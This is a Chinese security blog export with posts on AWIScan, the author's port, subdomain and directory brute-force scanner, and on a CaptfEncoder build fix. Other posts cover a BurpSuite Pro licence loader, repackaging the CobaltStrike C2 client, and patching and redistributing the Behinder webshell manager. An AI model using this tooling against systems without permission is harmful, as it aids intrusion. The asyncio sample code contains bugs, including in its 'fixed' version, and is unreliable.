<span id="more"></span>

<h1 id="功能构思"><a href="#功能构思" class="headerlink" title="功能构思"></a>功能构思</h1><p>根据上面所述，新开发的工具需要具备如下特性：</p>
<ul>
<li>尽可能快的完成任务</li>
<li>尽可能多的收集信息</li>
<li>尽可能少的参数输入</li>
<li>最好支持插件或模块拓展</li>
</ul>
<p>根据上述特性，采用了</p>
<ul>
<li>Python3 asyncio协程</li>
<li>支持端口扫描（调用nmap）、子域名爆破、目录爆破</li>
<li>总共三个参数，可直接使用单个参数即可执行 任务，其中level参数可不输入，默认为1</li>
<li>需要修改的配置信息都在setting.py文件中</li>
</ul>
<h1 id="框架流程"><a href="#框架流程" class="headerlink" title="框架流程"></a>框架流程</h1><p>这里借鉴了许多项目：SQLMap、PocSuite3、subdomainBrute、Dirscmap、Dirsearch、FuzzScaner等等。最终结构如下</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">.</span><br><span class="line">├── AWIScan.py</span><br><span class="line">├── README.md</span><br><span class="line">├── data</span><br><span class="line">│   ├── subDomain</span><br><span class="line">│   │   ├── dns_server.txt</span><br><span class="line">│   │   ├── next_sub_full.txt</span><br><span class="line">│   │   └── subnames_full.txt</span><br><span class="line">│   └── webScan</span><br><span class="line">│       ├── dict.txt</span><br><span class="line">│       └── user-agents.txt</span><br><span class="line">├── lib</span><br><span class="line">│   ├── __init__.py</span><br><span class="line">│   ├── controller</span><br><span class="line">│   │   ├── aiodirscan.py</span><br><span class="line">│   │   ├── aionmap.py</span><br><span class="line">│   │   ├── aioportscan.py</span><br><span class="line">│   │   ├── aiosubdomainscan.py</span><br><span class="line">│   │   └── engine.py</span><br><span class="line">│   ├── core</span><br><span class="line">│   │   ├── common.py</span><br><span class="line">│   │   ├── convert.py</span><br><span class="line">│   │   ├── data.py</span><br><span class="line">│   │   ├── datatype.py</span><br><span class="line">│   │   ├── enums.py</span><br><span class="line">│   │   ├── log.py</span><br><span class="line">│   │   ├── options.py</span><br><span class="line">│   │   └── setting.py</span><br><span class="line">│   ├── parse</span><br><span class="line">│   │   ├── cmdline.py</span><br><span class="line">│   │   ├── ip.py</span><br><span class="line">│   │   ├── result.py</span><br><span class="line">│   │   └── url.py</span><br><span class="line">│   └── thirdparty</span><br><span class="line">│       ├── __init__.py</span><br><span class="line">│       ├── ansistrm</span><br><span class="line">│       │   ├── __init__.py</span><br><span class="line">│       │   └── ansistrm.py</span><br><span class="line">│       ├── colorama</span><br><span class="line">│       │   ├── __init__.py</span><br><span class="line">│       │   ├── ansi.py</span><br><span class="line">│       │   ├── ansitowin32.py</span><br><span class="line">│       │   ├── initialise.py</span><br><span class="line">│       │   ├── win32.py</span><br><span class="line">│       │   └── winterm.py</span><br><span class="line">│       └── termcolor</span><br><span class="line">│           └── termcolor.py</span><br><span class="line">├── output</span><br><span class="line">│   ├── AWIScan</span><br><span class="line">│   │   └── bad_dns_servers.txt</span><br><span class="line">│   └── result</span><br><span class="line">└── requirement.txt</span><br></pre></td></tr></table></figure>

<p>流程为：参数解析——配置注册——任务分配——开始工作——输出结果。</p>
<h1 id="使用说明"><a href="#使用说明" class="headerlink" title="使用说明"></a>使用说明</h1><p>初始目标支持以下几种格式：</p>
<ul>
<li>192.168.1.1</li>
<li>192.168.1.1&#x2F;24</li>
<li>192.168.1.1-192.168.1.100</li>
<li>192.168.1.1-254</li>
<li>domain.com</li>
<li>[http&#x2F;https]:&#x2F;&#x2F;domain.com</li>
</ul>
<p><del>现版本根据不同的输入目标会执行相应的功能：</del></p>
<ul>
<li><del>纯ip地址执行端口扫描，e x 192.168.1.1…</del></li>
<li><del>域名会执行子域名爆破，e x domain.com</del></li>
<li><del>url会执行目录扫描，e x <span class="exturl" data-url="aHR0cDovL2RvbWFpbi5jb20v">http://domain.com<i class="fa fa-external-link-alt"></i></span> or <span class="exturl" data-url="aHR0cHM6Ly9kb21haW4uY29tLw==">https://domain.com<i class="fa fa-external-link-alt"></i></span></del></li>
</ul>
<p>所有初始目标都会执行端口扫描，如果没有协议会再执行子域名爆破、如果还有协议会再加上目录扫描。</p>
<p><del>该版本只在OSX、python3.7下测试过，别的系统版本可以自己试试（估计问题不大）。</del></p>
<p>Windows（10）、linux（Debian）、MacOS（10.15） &amp;&amp; python3.7皆测试通过。</p>
<p>由于端口扫描是调用nmap的，本地机器需要安装nmap，并且执行脚本需要有对应权限，可在lib&#x2F;core&#x2F;setting.py中配置SUDO_PASSWORD。具体端口扫描速度并未进行测试。</p>
<p>由于端口扫描是调用nmap的，本地机器需要安装nmap，并且执行脚本需要有对应权限，可在lib&#x2F;core&#x2F;setting.py中配置SUDO_PASSWORD。具体端口扫描速度并未进行测试。</p>
<p>子域名爆破需要指定对应DNS服务器，整体速度子域名爆破一千三百多个，最快一次是三十多秒（估计有dns缓存的原因）。清理缓存，再次测试七分钟左右（协程数50）。</p>
<p>目录扫描由于设计到网络、防护等关系，未进行测试。</p>
<h1 id="问题难点"><a href="#问题难点" class="headerlink" title="问题难点"></a>问题难点</h1><p>在编写的时候遇到种种问题和难点：</p>
<ul>
<li>协程库的资料相对较少</li>
<li>许多库在调用中会出现千奇百怪的问题</li>
<li>慢速生产、快速消费模型，如何保持消费者数不减少</li>
</ul>
<p>针对第三个模型做一下记录：下面代码有可能导致最后只有一个协程在工作，但任务队列中还具备无数任务</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">target_queue, html</span>):</span><br><span class="line">  urls = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟页面解析</span></span><br><span class="line">  <span class="keyword">for</span> url <span class="keyword">in</span> urls:</span><br><span class="line">    target_queue.put_notwait(url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">work</span>(<span class="params">url</span>):</span><br><span class="line">  resp = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟网络请求</span></span><br><span class="line">  <span class="keyword">if</span> resp.status == <span class="number">200</span>:</span><br><span class="line">    <span class="keyword">return</span> resp.text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">scan</span>(<span class="params">target_queue</span>):</span><br><span class="line">  <span class="keyword">while</span> target_queue.qsize() &gt; <span class="number">0</span>:</span><br><span class="line">    target = target_queue.get_nowait()</span><br><span class="line">    html = work(target)</span><br><span class="line">    result = <span class="keyword">await</span> parse(target_queue, html)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">control</span>(<span class="params">base_url</span>):</span><br><span class="line">  tasks = []</span><br><span class="line">	target_queue = asyncio.Queue()</span><br><span class="line">  base_urls = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟初始url解析</span></span><br><span class="line">  <span class="keyword">for</span> url <span class="keyword">in</span> base_urls:</span><br><span class="line">    target_queue.put_notwait(url)</span><br><span class="line">  <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">50</span>):</span><br><span class="line">    tasks.append(asyncio.create_task(scan(target_queue)))</span><br><span class="line">  <span class="keyword">await</span> asyncio.gather(*tasks)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">asyncio.run(contronl(base_url))</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>后面在主协程中同归队列进行阻塞，子协程阻塞至任务获取，即可解决该问题。即所有子协程都不断运行，直至取不到任务时阻塞。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">target_queue, html</span>):</span><br><span class="line">  urls = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟页面解析</span></span><br><span class="line">  <span class="keyword">if</span> urls:</span><br><span class="line">    <span class="keyword">for</span> url <span class="keyword">in</span> urls:</span><br><span class="line">      target_queue.put_notwait(url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">work</span>(<span class="params">url</span>):</span><br><span class="line">  resp = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟网络请求</span></span><br><span class="line">  <span class="keyword">if</span> resp.status == <span class="number">200</span>:</span><br><span class="line">    <span class="keyword">return</span> resp.text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">scan</span>(<span class="params">target_queue</span>):</span><br><span class="line">  <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">await</span> target_queue.get()</span><br><span class="line">    target = target_queue.get_nowait()</span><br><span class="line">    html = work(target)</span><br><span class="line">    result = <span class="keyword">await</span> parse(target_queue, html)</span><br><span class="line">    target_queue.task_done()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">control</span>(<span class="params">base_url</span>):</span><br><span class="line">  tasks = []</span><br><span class="line">	target_queue = asyncio.Queue()</span><br><span class="line">  base_urls = <span class="keyword">await</span> asyncio.sleep(<span class="string">&quot;5&quot;</span>) <span class="comment"># 用来模拟初始url解析</span></span><br><span class="line">  <span class="keyword">for</span> url <span class="keyword">in</span> base_urls:</span><br><span class="line">    target_queue.put_notwait(url)</span><br><span class="line">  <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">50</span>):</span><br><span class="line">    tasks.append(asyncio.create_task(scan(target_queue)))</span><br><span class="line">  <span class="keyword">await</span> target_queue.join()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">asyncio.run(contronl(base_url))</span><br></pre></td></tr></table></figure>

<p>下面再记录一下小问题</p>
<ul>
<li><p>通过asyncio.queue设置队列最好在对应协程函数中建立：一开始将工作队列设置成全局，然后在各个文件进行加载，该方式会导致异常，大概含义是一个loop只能使用同一个队列。</p>
</li>
<li><p>由于协程概念，所以最好只使用一个loop：在进行dns服务器测试的时候通过get_event_loop建立了新的loop之后（完成任务之后loop.close），在后续再次通过get_event_loop是无法成功新建协程的：RuntimeError: Event loop is closed。可通过set_even_loop解决，但不建议。</p>
</li>
<li><p>异步DNS库还不够完善，在aiodns、async_dns、aiodnsresolver中来来回回切换，最后选择了aiodns。</p>
<ul>
<li>aiodns未看到timeout参数，所以子域名爆破有可能超时导致速度不稳定</li>
<li>async_dns在DNS服务器测试完成之后，再此调用返回的结果为空，估计是由于不同loop的原因导致？</li>
<li>aiodnsresolver在进行dns服务器配置感觉不太好用，所以弃用。</li>
</ul>
</li>
</ul>
<h1 id="后续计划更新"><a href="#后续计划更新" class="headerlink" title="后续计划更新"></a>后续计划更新</h1><ul>
<li><input checked="" disabled="" type="checkbox"> 目录爆破支持随机User-Agent</li>
<li><input checked="" disabled="" type="checkbox"> 目录爆破支持代理</li>
<li><input disabled="" type="checkbox"> 整合目标，将ip、domain这些统一整合</li>
<li><input disabled="" type="checkbox"> 支持多进程扫描</li>
<li><input disabled="" type="checkbox"> 支持自定义插件扫描</li>
<li><input disabled="" type="checkbox"> 强化扫描能力</li>
<li><input disabled="" type="checkbox"> 。。。</li>
</ul>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>感谢GitHub上这么多开源的工具</li>
<li>写代码好难～～～</li>
<li>在遇到问题查看官方文档如果无法解决，可以直接看对应源码</li>
<li>AWIScan项目应该有很多面条式代码，后续看看能不能逐渐优化</li>
<li>对变量进行命令真的太难了，所以很多地方用了同样的变量名。全局变量设置成全大写，局部变量是全小写，不同参数传递参数前面变量名相同（尽量）</li>
</ol>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具环境</category>
      </categories>
      <tags>
        <tag>AWIScan</tag>
      </tags>
  </entry>
  <entry>
    <title>CaptfEncoder编译</title>
    <url>/archives/80d64a8d.html</url>
    <content><![CDATA[<p>解决CaptfEncoder无法在MacOS上运行。<br><img data-src="https://s2.loli.net/2023/07/11/Sbd7FWLkODvZjU5.jpg"></p>
<span id="more"></span>
<h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>直接从GitHub下载下来的CaptfEncoder在MacOS M系列芯片上无法正常运行。根据issues提示是缺少GMP Library。通过brew安装之后，还是无法直接运行。</p>
<figure class="highlight mipsasm"><table><tr><td class="code"><pre><span class="line"><span class="keyword">brew </span><span class="keyword">install </span>gmp</span><br></pre></td></tr></table></figure>
<p><img data-src="https://s2.loli.net/2023/07/11/ED4mHRchN9J6uWn.jpg"><br>通过find命令查找libgmp.10.dylib将其复制到对应目录</p>
<figure class="highlight gradle"><table><tr><td class="code"><pre><span class="line">sudo <span class="keyword">find</span> / -name <span class="string">&quot;libgmp.10.dylib&quot;</span></span><br><span class="line">cp <span class="regexp">/System/</span>Volumes<span class="regexp">/Data/</span>opt<span class="regexp">/homebrew/</span>Cellar<span class="regexp">/gmp/</span><span class="number">6.2</span>.<span class="number">1</span>_1<span class="regexp">/lib/</span>libgmp.<span class="number">10</span>.dylib <span class="regexp">/usr/</span>local<span class="regexp">/opt/gm</span>p<span class="regexp">/lib/</span>libgmp.<span class="number">10</span>.dylib</span><br></pre></td></tr></table></figure>
<p>这时候提示变为<code>mach-o file, but is an incompatible architecture (have &#39;arm64&#39;, need &#39;x86_64&#39;)</code><br><img data-src="https://s2.loli.net/2023/07/11/1v5MLwYq2dVyIo8.jpg"></p>
<h1 id="运行"><a href="#运行" class="headerlink" title="运行"></a>运行</h1><p>下载源码，进入对应目录使用使用cargo运行提示报错</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">git clone https:<span class="regexp">//gi</span>thub.com<span class="regexp">/guyoung/</span>CaptfEncoder.git</span><br><span class="line">cd CaptfEncoder/CaptfEncoder-V3</span><br><span class="line">cargo run</span><br></pre></td></tr></table></figure>
<p><img data-src="https://s2.loli.net/2023/07/11/FjYEaohqJ9OzfWX.jpg"><br>根据提示可以知道还是缺少gmp库导致的，根据猜测应该是对应的依赖没被找到。<br>将brew对应的lib加入到环境变量中<code>export LIBRARY_PATH=/opt/homebrew/lib</code>，再运行即可完美解决。<br><img data-src="https://s2.loli.net/2023/07/11/FoEU4hH763RqapT.jpg"></p>
<h1 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h1><p>CaptfEncoder本身已经做了编译的配置，只需要调整Cargo.toml内容即可：</p>
<ol>
<li>package中添加description</li>
<li>icon中修改为app.ico<figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[package]</span></span><br><span class="line"><span class="attr">name</span> = <span class="string">&quot;captfencoder&quot;</span></span><br><span class="line"><span class="attr">version</span> = <span class="string">&quot;3.3.0&quot;</span></span><br><span class="line"><span class="attr">authors</span> = [<span class="string">&quot;guyoung&quot;</span>]</span><br><span class="line"><span class="attr">edition</span> = <span class="string">&quot;2021&quot;</span></span><br><span class="line"><span class="attr">build</span> = <span class="string">&quot;build.rs&quot;</span></span><br><span class="line"><span class="attr">description</span> = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="section">[dependencies]</span></span><br><span class="line"></span><br><span class="line"><span class="attr">fltk</span> = <span class="string">&quot;1.4&quot;</span></span><br><span class="line"><span class="attr">fltk-theme</span> = <span class="string">&quot;0.7&quot;</span></span><br><span class="line"><span class="attr">rhai</span> = <span class="string">&quot;1.15&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">tokio</span> = &#123; version = <span class="string">&quot;1&quot;</span>, features = [<span class="string">&quot;full&quot;</span>] &#125;</span><br><span class="line"><span class="attr">reqwest</span> = &#123; version = <span class="string">&quot;0.11&quot;</span>, features = [<span class="string">&quot;json&quot;</span>] &#125;</span><br><span class="line"><span class="attr">serde</span> = <span class="string">&quot;1.0&quot;</span></span><br><span class="line"><span class="attr">serde_json</span> = <span class="string">&quot;1.0&quot;</span></span><br><span class="line"><span class="attr">pollster</span> = <span class="string">&quot;0.2&quot;</span></span><br><span class="line"><span class="attr">base64</span> = <span class="string">&quot;0.13&quot;</span></span><br><span class="line"><span class="attr">anyhow</span> = <span class="string">&quot;1&quot;</span></span><br><span class="line"><span class="attr">image</span> = <span class="string">&quot;0.23&quot;</span></span><br><span class="line"><span class="attr">clipboard</span> = <span class="string">&quot;0.5&quot;</span></span><br><span class="line"><span class="attr">rust-embed</span> = <span class="string">&quot;6.3&quot;</span></span><br><span class="line"><span class="attr">webbrowser</span> = <span class="string">&quot;0.5&quot;</span></span><br><span class="line"><span class="attr">rand</span> = <span class="string">&quot;0.8&quot;</span></span><br><span class="line"><span class="attr">dyn-clone</span> = <span class="string">&quot;1.0&quot;</span></span><br><span class="line"><span class="attr">sysinfo</span> = <span class="string">&quot;0.29&quot;</span></span><br><span class="line"><span class="attr">chrono</span> = <span class="string">&quot;0.4&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">captfencoder_encoding</span> = &#123; version = <span class="string">&quot;1.0.0&quot;</span>, path = <span class="string">&quot;../encoding&quot;</span>&#125;</span><br><span class="line"><span class="attr">captfencoder_query</span> = &#123; version = <span class="string">&quot;1.0.0&quot;</span>, path = <span class="string">&quot;../query&quot;</span>&#125;</span><br><span class="line"><span class="attr">captfencoder_misc</span> = &#123; version = <span class="string">&quot;1.0.0&quot;</span>, path = <span class="string">&quot;../misc&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="attr">lazy_static</span> = <span class="string">&quot;1.4&quot;</span></span><br><span class="line"><span class="attr">state</span> = <span class="string">&quot;0.5&quot;</span></span><br><span class="line"><span class="attr">enum-ordinalize</span> = <span class="string">&quot;3.1&quot;</span></span><br><span class="line"><span class="attr">sublime_fuzzy</span> = <span class="string">&quot;0.7&quot;</span></span><br><span class="line"><span class="attr">crossbeam-channel</span> = <span class="string">&quot;0.5&quot;</span></span><br><span class="line"><span class="attr">event-emitter-rs</span> = <span class="string">&quot;0.1&quot;</span></span><br><span class="line"><span class="attr">hey_listen</span> = <span class="string">&quot;0.5&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">num</span> = <span class="string">&quot;0.4&quot;</span></span><br><span class="line"><span class="attr">num-bigint</span> = <span class="string">&quot;0.4&quot;</span></span><br><span class="line"><span class="attr">num-traits</span> = <span class="string">&quot;0.2&quot;</span></span><br><span class="line"><span class="attr">primal</span> = <span class="string">&quot;0.3&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[build-dependencies]</span></span><br><span class="line"><span class="attr">winresource</span> = <span class="string">&quot;0.1&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[package.metadata.winresource]</span></span><br><span class="line"><span class="attr">ProductName</span> = <span class="string">&quot;CaptfEncoder&quot;</span></span><br><span class="line"><span class="attr">ProductVersion</span> = <span class="string">&quot;3.3.0&quot;</span></span><br><span class="line"><span class="attr">OriginalFilename</span> = <span class="string">&quot;CaptfEncoder.exe&quot;</span></span><br><span class="line"><span class="attr">LegalCopyright</span> = <span class="string">&quot;Copyright © Guyoung studio 2022&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="section">[package.metadata.bundle]</span></span><br><span class="line"><span class="attr">name</span> = <span class="string">&quot;CaptfEncoder&quot;</span></span><br><span class="line"><span class="attr">identifier</span> = <span class="string">&quot;net.guyoung.captfencoder&quot;</span></span><br><span class="line"><span class="attr">icon</span> = [<span class="string">&quot;app.ico&quot;</span>]</span><br><span class="line"><span class="comment">#deb_depends = []</span></span><br><span class="line"><span class="attr">osx_minimum_system_version</span> = <span class="string">&quot;10.0&quot;</span></span><br></pre></td></tr></table></figure>
之后通过<code>cargo bundle</code>编译即可<br><img data-src="https://s2.loli.net/2023/07/11/BpsQiOrxJSZm7wc.jpg"></li>
</ol>
<h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><ol>
<li>使用cargo时遇到无法通过更新、下载的问题，通过添加CARGO_HTTP_MULTIPLEXING即可解决（多线程下载）<code>CARGO_HTTP_MULTIPLEXING=false cargo update</code><br><img data-src="https://s2.loli.net/2023/07/11/neb76YpPADI5LFy.jpg"></li>
<li>需要在zshrc在添加<code>export LIBRARY_PATH=/opt/homebrew/lib</code>避免之后又遇到找不到lib的情况</li>
</ol>
]]></content>
      <categories>
        <category>瞎折腾</category>
      </categories>
  </entry>
  <entry>
    <title>BurpSuitePro 2.1及之后版本通杀加载器</title>
    <url>/archives/c5863b38.html</url>
    <content><![CDATA[<p>直接看图。</p>
<p><img data-src="https://i.loli.net/2020/03/28/UQFCOg8EhKqejGo.gif" alt="BpLoad"></p>
<span id="more"></span>]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具环境</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>jar打包应用程序</title>
    <url>/archives/18ca2507.html</url>
    <content><![CDATA[<p>之前写过一篇<a href="/archives/4afab831.html" title="jar文件打包成app">jar文件打包成app</a>的文章，使用的是jar2app的方式。之后发现更加优雅的方式，使用install4j并且可以实现将jar打包成多平台的应用程序。</p>
<p><img data-src="https://s2.loli.net/2023/04/07/MHXwTsbxJftidKy.png"></p>
<span id="more"></span>

<h1 id="install4j"><a href="#install4j" class="headerlink" title="install4j"></a>install4j</h1><p>本文以CobaltStrike 4.5为例，需要注意的是</p>
<ol>
<li>java的版本不能太高（我使用的是Zulu 11）。</li>
<li>需要将.cobaltstrike.beacon_keys文件打包进去</li>
<li>添加<code>-XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC</code>设置</li>
</ol>
<p>将所有配置设置完成之后，新建对应Media之后build即可。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/e9QL7YdcCr5ToMz.png"></p>
<p><img data-src="https://s2.loli.net/2023/04/06/BKFVWPvEMNL3sZz.png"></p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>工具</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>jar文件打包成app</title>
    <url>/archives/4afab831.html</url>
    <content><![CDATA[<p>在Mac上运行jar文件（例如Behinder）每次都需要</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">java -XstartOnFirstThread -jar Behinder.jar </span><br></pre></td></tr></table></figure>

<p>，感觉太繁琐了。因此，想打包成app方便使用。成功打包效果图如下，这里给大家提供打包出来的app。</p>
<p>链接:<span class="exturl" data-url="aHR0cHM6Ly9wYW4uYmFpZHUuY29tL3MvMTQ3NENyZ2JiU2ZiWHhxSkdnOWNhckE=">https://pan.baidu.com/s/1474CrgbbSfbXxqJGg9carA<i class="fa fa-external-link-alt"></i></span>  密码:f9vm</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c0170f62716b.png" alt="成功效果图"></p>
<span id="more"></span>

<p>使用工具可方便的将jar文件打包成app，本文以Behinder为例，记录所遇到的问题以及如何处理。</p>
<h1 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h1><p>下载<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0pvcmwxNy9qYXIyYXBw">jar2app<i class="fa fa-external-link-alt"></i></span>之后，将其安装。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Install</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/Jorl17/jar2app</span><br><span class="line"><span class="built_in">cd</span> jar2app</span><br><span class="line"><span class="built_in">chmod</span> +x install.sh uninstall.sh</span><br><span class="line">sudo ./install.sh</span><br><span class="line"><span class="comment"># Install to /usr/local/bin</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/Jorl17/jar2app</span><br><span class="line"><span class="built_in">cd</span> jar2app</span><br><span class="line"><span class="built_in">chmod</span> +x install.sh uninstall.sh</span><br><span class="line">sudo ./install.sh /usr/local/bin</span><br></pre></td></tr></table></figure>

<h1 id="生成APP"><a href="#生成APP" class="headerlink" title="生成APP"></a>生成APP</h1><p>通过jar2app的命令我们可以得知，直接使用对应命令即可生成。其中需要注意以下两点：</p>
<ol>
<li>Behinder需要通过<code>-XstartOnFirstThread</code>命令启动；</li>
<li>Behinder需要jre6~jre8版本才可以运行。</li>
</ol>
<p>因此我在使用jar2app时，指定了JVM设置和JDK版本。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">jar2app Behinder.jar -j &quot;-XstartOnFirstThread&quot; -r /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk</span><br></pre></td></tr></table></figure>

<p>使用上面的命令可以成功生成一个app，但是直接运行无法打开。</p>
<h2 id="问题排查"><a href="#问题排查" class="headerlink" title="问题排查"></a>问题排查</h2><p>直接打开Behinder.app&#x2F;Contents&#x2F;MacOS&#x2F;JavaAppLauncher启动脚本，提示数据库文件丢失，无法启动。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c0170f5b1d5a.png" alt="数据库文件丢失"></p>
<h3 id="数据库文件丢失"><a href="#数据库文件丢失" class="headerlink" title="数据库文件丢失"></a>数据库文件丢失</h3><p>根据报错信息提示以及Behinder本身的文件结构，我将data.db移动到Behinder.app&#x2F;Contents和其他杂七杂八的位置都不行。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Contents/data.db</span><br><span class="line">Contents/Java/data.db</span><br><span class="line">Contents/MacOS/data.db</span><br><span class="line">Contents/Plugins/jdk1.8.0_181.jdk/Contents/data.db</span><br><span class="line">Contents/Plugins/jdk1.8.0_181.jdk/Contents/MacOS/data.db</span><br><span class="line">Contents/Resources/data.db</span><br></pre></td></tr></table></figure>

<h3 id="重构class文件"><a href="#重构class文件" class="headerlink" title="重构class文件"></a>重构class文件</h3><p>根据报错信息（数据库文件丢失）以及上述所进行的测试方法，基于当前的情况，只能通过将jar包文件反编译成class文件进行查看，判断本身源码逻辑。这里我采用JD进行反编译，直接加载Behinder的jar包文件。根据关键字：data.db进行搜索。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c0170f5b2a6a.png" alt="源代码查询"></p>
<p>根据上图可以看到对应判断的逻辑在：net&#x2F;rebeyond&#x2F;behinder&#x2F;core&#x2F;ShellManager.class文件中：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (!<span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;data.db&quot;</span>).exists()) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;数据库文件丢失，无法启动。&quot;</span>);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>通过File().exists()进行判断文件是否存在，根据大佬的提示得知File().exists()使用的user.home作为路径，将其修改成File.getAbsoluteFile()即可成功。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c0170f607879.png" alt="测试代码"></p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c85be7.png" alt="测试结果"></p>
<p>在JD将ShellManager.class保存成java代码，使用Intellij创建一个项目。Ps:也可以用eclipse等。</p>
<p>这里我新建了一个Maven项目，Project SDK选择1.8.0</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c89823.png" alt="Project SDK"></p>
<p>下面有关字段全部设置成Behinder</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6b75627.png" alt="GroupId"></p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6b739b1.png" alt="ProjectName"></p>
<p>将ShellManager.java文件拖入到src&#x2F;main&#x2F;java目录下，并将File().exists()修改成File().getAbsoluteFile().exists()。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c5748e.png" alt="修改代码"></p>
<p>新建一个package，右键java目录new即可创建，目录名称为net.rebeyond.behinder.core。该名称来源为ShellManager在Behinder.jar文件中的路径。将ShellManager.java文件移动到net.rebeyond.behinder.core中。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c5575f.png" alt="新目录结构"></p>
<p>此时还有一系列包引入问题待解决，这时候点击【File】选项中的【Project Structure】功能，在【Project Settings】中的【Modules】的【Dependencies】中引入Behinder.jar文件。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6be64ec.png" alt="Project Structure"></p>
<p>这时候还存在模块无法import的问题，根据查看发现是json模块无法引入，查看JD中json包是20180130的。在<span class="exturl" data-url="aHR0cHM6Ly9qYXItZG93bmxvYWQuY29tL2FydGlmYWN0cy9vcmcuanNvbi9qc29uLzIwMTgwMTMwL3NvdXJjZS1jb2Rl">jar-download<i class="fa fa-external-link-alt"></i></span>页面进行下载即可，下载完成之后，按照刚刚的流程导入。导入完成之后，这时候已经所有包都正常import。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c8f06f.png" alt="import success"></p>
<p>使用【Build Project】将java文件编译成class文件。</p>
<p><img data-src="https://i.loli.net/2018/12/01/5c016f6c8c306.png" alt="BuildProject"></p>
